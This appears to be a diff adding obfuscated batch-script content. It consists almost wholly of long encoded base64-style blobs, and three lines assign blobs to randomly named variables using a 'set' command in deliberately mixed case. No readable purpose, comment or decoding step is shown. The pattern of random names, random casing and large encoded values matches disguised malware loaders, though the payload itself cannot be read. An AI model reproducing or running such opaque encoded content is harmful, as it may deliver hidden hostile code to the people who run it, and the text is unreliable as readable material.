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
+set lloztMu=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
+SET xAEr2y8D=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
+seT JIMZlyBt=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